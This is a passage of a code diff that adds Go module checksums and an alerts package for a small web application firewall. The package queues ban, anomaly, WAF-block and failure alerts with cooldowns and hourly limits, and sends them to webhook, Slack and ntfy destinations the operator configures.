+github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
+github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
+github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
+github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
+github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
+github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
+github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
+github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
+github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
+github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
+github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
+github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
+github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
+github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
+github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
+github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
+github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
+github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
+github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
+github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
+github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
+github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
+github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
+github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
+github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
+github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
+github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
+github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
+github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
+github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
+github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
+github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
+github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE=
+github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi/PY=
+github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
+github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
+github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
+github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
+github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
+github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
+github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
+github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
+github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
+github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
+github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
+github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
+github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
+github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
+go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
+go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
+go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
+go.yaml.in/yaml/v2 v2.4.4/go.mod h1:gMZqIpDtDqOfM0uNfy0SkpRhvUryYH0Z6wdMYcacYXQ=
+go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
+go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
+go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
+go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
+golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
+golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
+golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
+golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
+golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
+golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
+golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
+golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
+golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
+golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
+golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
+golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
+google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
+google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
+rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=

internal/alerts/alerts.go

@@ -0,0 +1,939 @@
+// Package alerts sends alerts on bans, on traffic over an anomaly
+// threshold, on a source that fails and on a file with an error to each
+// destination set: to the webhook
+// SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
+// object" in docs/alerts.md describes, to the Slack incoming
+// webhook SWWAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
+// ntfy topic SWWAF_ALERT_NTFY_URL names. A repeat within
+// SWWAF_ALERT_COOLDOWN is held back, and so is an alert past
+// SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
+// bounded queue of each destination's own, so that a destination that is
+// slow or unreachable holds up neither the others nor any request. The
+// state is written to alerts.json and read from it by the state package.
+// Nothing logged names a destination's URL, whose path or query can carry
+// a secret.
+package alerts
+
+import (
+	"bytes"
+	"cmp"
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"log/slog"
+	"maps"
+	"net/http"
+	"net/netip"
+	"net/url"
+	"slices"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"time"
+)
+
+// The events an alert is for, as SWWAF_ALERT_EVENTS names them.
+const (
+	// EventBan is a ban smallwebwaf made.
+	EventBan = "ban"
+	// EventPermanentBan is a permanent ban smallwebwaf made, or a ban it
+	// made permanent.
+	EventPermanentBan = "permanent_ban"
+	// EventAnomaly is a count of requests or bytes over an anomaly
+	// threshold.
+	EventAnomaly = "anomaly"
+	// EventWAFBlock is a request the Core Rule Set scored at or over
+	// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
+	// detect mode.
+	EventWAFBlock = "waf_block"
+	// EventReputationHit is a request whose client a blocklist, the
+	// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
+	// is a hit.
+	EventReputationHit = "reputation_hit"
+	// EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch
+	// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
+	// failing or refused, or the day's AbuseIPDB checks used up.
+	EventSourceFailure = "source_failure"
+	// EventFileError is a rule file or state file edited while smallwebwaf
+	// runs that does not parse, a replacement of the lookup database that
+	// cannot be read, or a state file that cannot be written.
+	EventFileError = "file_error"
+	// EventSummary is the summary sent as an hour ends: of the alerts held
+	// back in it past SWWAF_ALERT_MAX_PER_HOUR, and of the repeats held
+	// back by the cooldowns dropped as it ends, which no alert let through
+	// has given. It is sent with SWWAF_ALERT_MAX_PER_HOUR off too, for
+	// those repeats. SWWAF_ALERT_EVENTS does not name it.
+	EventSummary = "summary"
+)
+
+// Events returns every event SWWAF_ALERT_EVENTS can name, which is its
+// default.
+func Events() []string {
+	return []string{
+		EventBan, EventPermanentBan, EventWAFBlock, EventAnomaly,
+		EventReputationHit, EventSourceFailure, EventFileError,
+	}
+}
+
+// The destinations alerts are sent to, as the metrics and alerts.json
+// name them.
+const (
+	// DestinationWebhook is the webhook SWWAF_ALERT_WEBHOOK_URL names.
+	DestinationWebhook = "webhook"
+	// DestinationSlack is the Slack incoming webhook
+	// SWWAF_ALERT_SLACK_WEBHOOK_URL names.
+	DestinationSlack = "slack"
+	// DestinationNtfy is the ntfy topic SWWAF_ALERT_NTFY_URL names.
+	DestinationNtfy = "ntfy"
+)
+
+// Destinations returns every destination alerts can be sent to.
+func Destinations() []string {
+	return []string{DestinationWebhook, DestinationSlack, DestinationNtfy}
+}
+
+const (
+	// queueSize is the most alerts that wait to be sent to a destination.
+	// Past it, the oldest is dropped.
+	queueSize = 1000
+	// sendTimeout bounds one request to a destination.
+	sendTimeout = 10 * time.Second
+	// After a request to a destination fails, the alert is sent again a
+	// second later, and retryDelayFactor times as long after each further
+	// failure in a row, up to a minute.
+	firstRetryDelay  = time.Second
+	retryDelayFactor = 2
+	maxRetryDelay    = time.Minute
+	// maxAnswerBytes is the most of a destination's answer that is read.
+	maxAnswerBytes = 64 << 10
+)
+
+var (
+	errStatus = errors.New("the destination answered")
+	// errRefused is a 4xx answer other than 408 and 429: the destination
+	// refuses the alert itself, and would refuse it again.
+	errRefused = errors.New("the destination refused the alert, answering")
+)
+
+// Params are what New needs. With none of WebhookURL, SlackURL and
+// NtfyURL set, no alert is sent.
+type Params struct {
+	// WebhookURL is where each alert is posted as JSON
+	// (SWWAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
+	// are sent with each (SWWAF_ALERT_WEBHOOK_HEADERS).
+	WebhookURL     *url.URL
+	WebhookHeaders http.Header
+	// SlackURL is the Slack incoming webhook each alert is posted to as a
+	// message (SWWAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
+	SlackURL *url.URL
+	// NtfyURL is the ntfy topic each alert is published to
+	// (SWWAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
+	// empty, is sent with each as a bearer token (SWWAF_ALERT_NTFY_TOKEN).
+	NtfyURL   *url.URL
+	NtfyToken string
+	// Events are the events alerts are sent for (SWWAF_ALERT_EVENTS).
+	Events []string
+	// Cooldown is how long a repeat of an alert is held back
+	// (SWWAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
+	// sent in an hour (SWWAF_ALERT_MAX_PER_HOUR), 0 for no limit.
+	Cooldown   time.Duration
+	MaxPerHour int
+	// Instance is SWWAF_INSTANCE_NAME, which every alert gives.
+	Instance string
+	// Now tells the time of an alert, normally time.Now in UTC.
+	Now func() time.Time
+	// ProcessLog receives the requests to a destination that fail.
+	ProcessLog *slog.Logger
+}
+
+// Alert is one alert, as the webhook is sent it and alerts.json holds it,
+// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
+// Country are, for a ban, the client's as the ban's notes give them. Host is
+// the site of the request that raised the alert, while one servewaf serves
+// many sites, and "" otherwise.
+//
+//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
+type Alert struct {
+	Instance string       `json:"instance"`
+	Time     time.Time    `json:"time"`
+	Event    string       `json:"event"`
+	Host     string       `json:"host,omitempty"`
+	Client   netip.Addr   `json:"client"`
+	Netblock netip.Prefix `json:"netblock"`
+	ASN      string       `json:"asn"`
+	ASName   string       `json:"as_name"`
+	Country  string       `json:"country"`
+	// Reason is a short sentence, and Detail what is particular to the
+	// event: for a file_error, its "file", for a source_failure, its
+	// "source", and for an anomaly, its "scope", with the "asn" or the
+	// "name" of some scopes, which the cooldown tells repeats by.
+	Reason string         `json:"reason"`
+	Detail map[string]any `json:"detail"`
+	// SuppressedRepeats is how many repeats of the alert the cooldown
+	// held back since the last one let through. For a summary, it is how
+	// many the cooldowns dropped as the hour ended had held back that no
+	// alert let through gave.
+	SuppressedRepeats int `json:"suppressed_repeats"`
+}
+
+// Cooldown is, for an event on a netblock, about a file or a source, or
+// for an anomaly in a scope, when the last alert let through was raised,
+// and how many repeats the cooldown has held back since, as alerts.json
+// holds it.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
+type Cooldown struct {
+	Event             string       `json:"event"`
+	Netblock          netip.Prefix `json:"netblock"`
+	File              string       `json:"file,omitempty"`
+	Source            string       `json:"source,omitempty"`
+	Scope             string       `json:"scope,omitempty"`
+	ASN               string       `json:"asn,omitempty"`
+	Name              string       `json:"name,omitempty"`
+	Sent              time.Time    `json:"sent"`
+	SuppressedRepeats int          `json:"suppressed_repeats"`
+}
+
+// Hour is the hour under way, by the clock, as alerts.json holds it: when
+// it started, how many alerts were let through in it, and how many were
+// held back in it past MaxPerHour, by event, for its summary.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
+type Hour struct {
+	Start    time.Time      `json:"start"`
+	Sent     int            `json:"sent"`
+	HeldBack map[string]int `json:"held_back"`
+}
+
+// State is what alerts.json holds: the cooldowns, the hour under way, and
+// for each destination set, the alerts waiting to be sent to it, oldest
+// first.
+type State struct {
+	Cooldowns []Cooldown         `json:"cooldowns"`
+	Hour      Hour               `json:"hour"`
+	Waiting   map[string][]Alert `json:"waiting"`
+}
+
+// Counts are, for a destination, how many alerts it took, how many
+// requests to it failed, and how many alerts were dropped from its full
+// queue or given up as it refused them.
+type Counts struct {
+	Sent, Failed, Dropped int64
+}
+
+// Queue takes the alerts raised, holds back those it must, and sends the
+// others to each destination set, from a queue of the destination's own.
+// It is safe for concurrent use.
+type Queue struct {
+	params Params
+	// destinations are the destinations set, in the order of
+	// Destinations.
+	destinations []*destination
+
+	mu sync.Mutex
+	// cooldowns are the alerts last let through, by event and netblock,
+	// file, source or scope.
+	cooldowns map[cooldownKey]*Cooldown
+	hour      Hour
+
+	suppressed atomic.Int64
+}
+
+// destination is a destination set, with the alerts waiting to be sent
+// to it. Its mu is taken after the Queue's, never before.
+type destination struct {
+	// name is how the metrics and alerts.json name the destination, and
+	// setting the setting that is its URL, which the log names in place
+	// of the URL.
+	name    string
+	setting string
+	url     *url.URL
+	// message returns the body an alert is posted with, and the headers
+	// sent with it.
+	message func(alert *Alert) ([]byte, http.Header, error)
+	// httpClient follows no redirect: a redirect is a failure.
+	httpClient *http.Client
+	processLog *slog.Logger
+	// queued receives a value when an alert joins the queue, unless one
+	// waits already, so that run looks at the queue again.
+	queued chan struct{}
+
+	mu sync.Mutex
+	// waiting are the alerts waiting to be sent, oldest first.
+	waiting []*Alert
+
+	sent, failed, dropped atomic.Int64
+}
+
+// cooldownKey is what makes an alert a repeat of another: the same event
+// on the same netblock, and about the same file or source, or in the same
+// scope with the same AS number or name, as its detail names them. Each
+// is empty for an alert without one.
+type cooldownKey struct {
+	event    string
+	netblock netip.Prefix
+	file     string
+	source   string
+	scope    string
+	asn      string
+	name     string
+}
+
+// cooldownKeyOf returns what makes another alert a repeat of alert.
+func cooldownKeyOf(alert *Alert) cooldownKey {
+	file, _ := alert.Detail["file"].(string)
+	source, _ := alert.Detail["source"].(string)
+	scope, _ := alert.Detail["scope"].(string)
+	asn, _ := alert.Detail["asn"].(string)
+	name, _ := alert.Detail["name"].(string)
+
+	return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
+}
+
+// New returns a Queue with no alert yet.
+func New(params Params) *Queue {
+	q := &Queue{
+		params:    params,
+		cooldowns: map[cooldownKey]*Cooldown{},
+		hour:      Hour{HeldBack: map[string]int{}},
+	}
+
+	if params.WebhookURL != nil {
+		q.addDestination(DestinationWebhook, "SWWAF_ALERT_WEBHOOK_URL",
+			params.WebhookURL, q.webhookMessage)
+	}
+
+	if params.SlackURL != nil {
+		q.addDestination(DestinationSlack, "SWWAF_ALERT_SLACK_WEBHOOK_URL",
+			params.SlackURL, slackMessage)
+	}
+
+	if params.NtfyURL != nil {
+		q.addDestination(DestinationNtfy, "SWWAF_ALERT_NTFY_URL",
+			params.NtfyURL, q.ntfyMessage)
+	}
+
+	return q
+}
+
+// Raise sends alert, which names its event and what is particular to it,
+// unless no destination is set or SWWAF_ALERT_EVENTS leaves its event
+// out. It gives alert the instance and the time. An alert that repeats
+// the last one let through less than Cooldown before is held back and
+// counted. The next one let through gives that count, unless an hour of
+// the clock ends first after the cooldown has run out: the cooldown is
+// then dropped, and that hour's summary gives the count. Past MaxPerHour
+// alerts let through in the hour under way, an alert is held back for
+// that hour's summary instead, which is sent once the hour has ended; it
+// starts no cooldown. Raise never waits: an alert let through joins the
+// queue of each destination, from which Run sends it, and with queueSize
+// alerts waiting for a destination, the oldest is dropped.
+func (q *Queue) Raise(alert Alert) {
+	if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
+		return
+	}
+
+	q.mu.Lock()
+	defer q.mu.Unlock()
+
+	now := q.params.Now()
+	alert.Instance = q.params.Instance
+	alert.Time = now
+
+	if q.repeat(&alert, now) {
+		q.suppressed.Add(1)
+
+		return
+	}
+
+	q.endHour(now)
+
+	if q.params.MaxPerHour > 0 && q.hour.Sent >= q.params.MaxPerHour {
+		q.hour.HeldBack[alert.Event]++
+		q.suppressed.Add(1)
+
+		return
+	}
+
+	q.startCooldown(&alert, now)
+	q.hour.Sent++
+	q.queue(&alert)
+}
+
+// WouldSend reports whether Raise would let an alert for event on
+// netblock through now: a destination is set, SWWAF_ALERT_EVENTS chooses
+// event, no alert for event on netblock was let through less than
+// Cooldown before, and fewer than MaxPerHour alerts have been let through
+// in the hour under way. Unlike Raise, it counts nothing.
+func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
+	if len(q.destinations) == 0 || !slices.Contains(q.params.Events, event) {
+		return false
+	}
+
+	q.mu.Lock()
+	defer q.mu.Unlock()
+
+	now := q.params.Now()
+
+	last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
+	if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
+		return false
+	}
+
+	q.endHour(now)
+
+	return q.params.MaxPerHour == 0 || q.hour.Sent < q.params.MaxPerHour
+}
+
+// Run sends the alerts waiting to each destination, from its own queue,
+// as destination.run does, until ctx is done. It also ends each hour as
+// Raise does, so that the hour's summary is sent as it ends. With no
+// destination set, it returns at once.
+func (q *Queue) Run(ctx context.Context) {
+	if len(q.destinations) == 0 {
+		return
+	}
+
+	var sending sync.WaitGroup
+
+	for _, d := range q.destinations {
+		sending.Go(func() { d.run(ctx) })
+	}
+
+	for {
+		q.mu.Lock()
+		untilHourEnds := q.hour.Start.Add(time.Hour).Sub(q.params.Now())
+		q.mu.Unlock()
+
+		select {
+		case <-ctx.Done():
+			sending.Wait()
+
+			return
+		case <-time.After(untilHourEnds):
+			q.mu.Lock()
+			q.endHour(q.params.Now())
+			q.mu.Unlock()
+		}
+	}
+}
+
+// Counts returns the counts of the destination name, all 0 for one not
+// set.
+func (q *Queue) Counts(name string) Counts {
+	for _, d := range q.destinations {
+		if d.name == name {
+			return Counts{
+				Sent: d.sent.Load(), Failed: d.failed.Load(), Dropped: d.dropped.Load(),
+			}
+		}
+	}
+
+	return Counts{}
+}
+
+// DestinationsSet returns the destinations set, in the order of
+// Destinations.
+func (q *Queue) DestinationsSet() []string {
+	names := make([]string, 0, len(q.destinations))
+	for _, d := range q.destinations {
+		names = append(names, d.name)
+	}
+
+	return names
+}
+
+// Suppressed is how many alerts were held back: by the cooldown, and past
+// MaxPerHour. No destination is sent such an alert.
+func (q *Queue) Suppressed() int64 {
+	return q.suppressed.Load()
+}
+
+// Snapshot returns the queue's state, as alerts.json holds it, with the
+// cooldowns sorted by netblock, then by event, file, source, scope, AS
+// number and name.
+func (q *Queue) Snapshot() State {
+	q.mu.Lock()
+	defer q.mu.Unlock()
+
+	state := State{
+		Cooldowns: make([]Cooldown, 0, len(q.cooldowns)),
+		Hour:      q.hour,
+		Waiting:   map[string][]Alert{},
+	}
+	state.Hour.HeldBack = maps.Clone(q.hour.HeldBack)
+
+	for _, cooldown := range q.cooldowns {
+		state.Cooldowns = append(state.Cooldowns, *cooldown)
+	}
+
+	slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
+		return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
+			cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
+			cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
+			cmp.Compare(a.Name, b.Name))
+	})
+
+	for _, d := range q.destinations {
+		state.Waiting[d.name] = d.snapshot()
+	}
+
+	return state
+}
+
+// Load puts state, read from alerts.json, in place of the queue's state.
+// Each cooldown's netblock is masked to its length, so that
+// 203.0.113.9/24 is 203.0.113.0/24. The alerts waiting for a destination
+// that is not set are dropped, and so are the oldest past queueSize
+// alerts waiting for one that is.
+func (q *Queue) Load(state State) {
+	q.mu.Lock()
+	defer q.mu.Unlock()
+
+	q.cooldowns = map[cooldownKey]*Cooldown{}
+
+	for _, cooldown := range state.Cooldowns {
+		cooldown.Netblock = cooldown.Netblock.Masked()
+		key := cooldownKey{
+			cooldown.Event, cooldown.Netblock, cooldown.File, cooldown.Source,
+			cooldown.Scope, cooldown.ASN, cooldown.Name,
+		}
+		q.cooldowns[key] = &cooldown
+	}
+
+	q.hour = state.Hour
+	q.hour.HeldBack = maps.Clone(state.Hour.HeldBack)
+
+	if q.hour.HeldBack == nil {
+		q.hour.HeldBack = map[string]int{}
+	}
+
+	for _, d := range q.destinations {
+		d.load(state.Waiting[d.name])
+	}
+}
+
+// addDestination adds a destination: its name, the setting that gives
+// its URL, that URL, target, and message, which makes the messages sent
+// to it.
+func (q *Queue) addDestination(
+	name, setting string, target *url.URL,
+	message func(alert *Alert) ([]byte, http.Header, error),
+) {
+	q.destinations = append(q.destinations, &destination{
+		name:    name,
+		setting: setting,
+		url:     target,
+		message: message,
+		httpClient: &http.Client{
+			CheckRedirect: func(*http.Request, []*http.Request) error {
+				return http.ErrUseLastResponse
+			},
+		},
+		processLog: q.params.ProcessLog,
+		queued:     make(chan struct{}, 1),
+	})
+}
+
+// repeat reports whether alert, raised at now, repeats the last one let
+// through less than Cooldown before, and counts it if it does.
+func (q *Queue) repeat(alert *Alert, now time.Time) bool {
+	if q.params.Cooldown == 0 {
+		return false
+	}
+
+	last, found := q.cooldowns[cooldownKeyOf(alert)]
+	if !found || now.Sub(last.Sent) >= q.params.Cooldown {
+		return false
+	}
+
+	last.SuppressedRepeats++
+
+	return true
+}
+
+// startCooldown gives alert, let through at now, the count of the repeats
+// held back since the last one let through, and notes alert as the last
+// one let through.
+func (q *Queue) startCooldown(alert *Alert, now time.Time) {
+	if q.params.Cooldown == 0 {
+		return
+	}
+
+	key := cooldownKeyOf(alert)
+
+	last, found := q.cooldowns[key]
+	if found {
+		alert.SuppressedRepeats = last.SuppressedRepeats
+	}
+
+	q.cooldowns[key] = &Cooldown{
+		Event: alert.Event, Netblock: alert.Netblock, File: key.file, Source: key.source,
+		Scope: key.scope, ASN: key.asn, Name: key.name, Sent: now,
+	}
+}
+
+// endHour ends the hour under way, if now is past it. It drops the
+// cooldowns that have run out, whatever repeats they held back, so that
+// they do not pile up, and queues that hour's summary when alerts were
+// held back in it past MaxPerHour, or when a cooldown dropped had held
+// back repeats, which no alert let through has given: the summary gives
+// them.
+func (q *Queue) endHour(now time.Time) {
+	start := now.Truncate(time.Hour)
+	if !start.After(q.hour.Start) {
+		return
+	}
+
+	repeats := 0
+
+	for key, cooldown := range q.cooldowns {
+		if now.Sub(cooldown.Sent) >= q.params.Cooldown {
+			repeats += cooldown.SuppressedRepeats
+
+			delete(q.cooldowns, key)
+		}
+	}
+
+	heldBack := 0
+	for _, count := range q.hour.HeldBack {
+		heldBack += count
+	}
+
+	var reasons []string
+
+	if heldBack > 0 {
+		reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
+			"past the %d an hour SWWAF_ALERT_MAX_PER_HOUR allows", heldBack,
+			q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
+	}
+
+	if repeats > 0 {
+		reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
+			"SWWAF_ALERT_COOLDOWN that no later alert gives", repeats))
+	}
+
+	if len(reasons) > 0 {
+		q.queue(&Alert{
+			Instance: q.params.Instance,
+			Time:     now,
+			Event:    EventSummary,
+			Reason:   strings.Join(reasons, "; "),
+			Detail: map[string]any{
+				"hour": q.hour.Start, "count": heldBack, "events": q.hour.HeldBack,
+			},
+			SuppressedRepeats: repeats,
+		})
+	}
+
+	q.hour = Hour{Start: start, HeldBack: map[string]int{}}
+}
+
+// queue adds alert to the alerts waiting for each destination.
+func (q *Queue) queue(alert *Alert) {
+	for _, d := range q.destinations {
+		d.add(alert)
+	}
+}
+
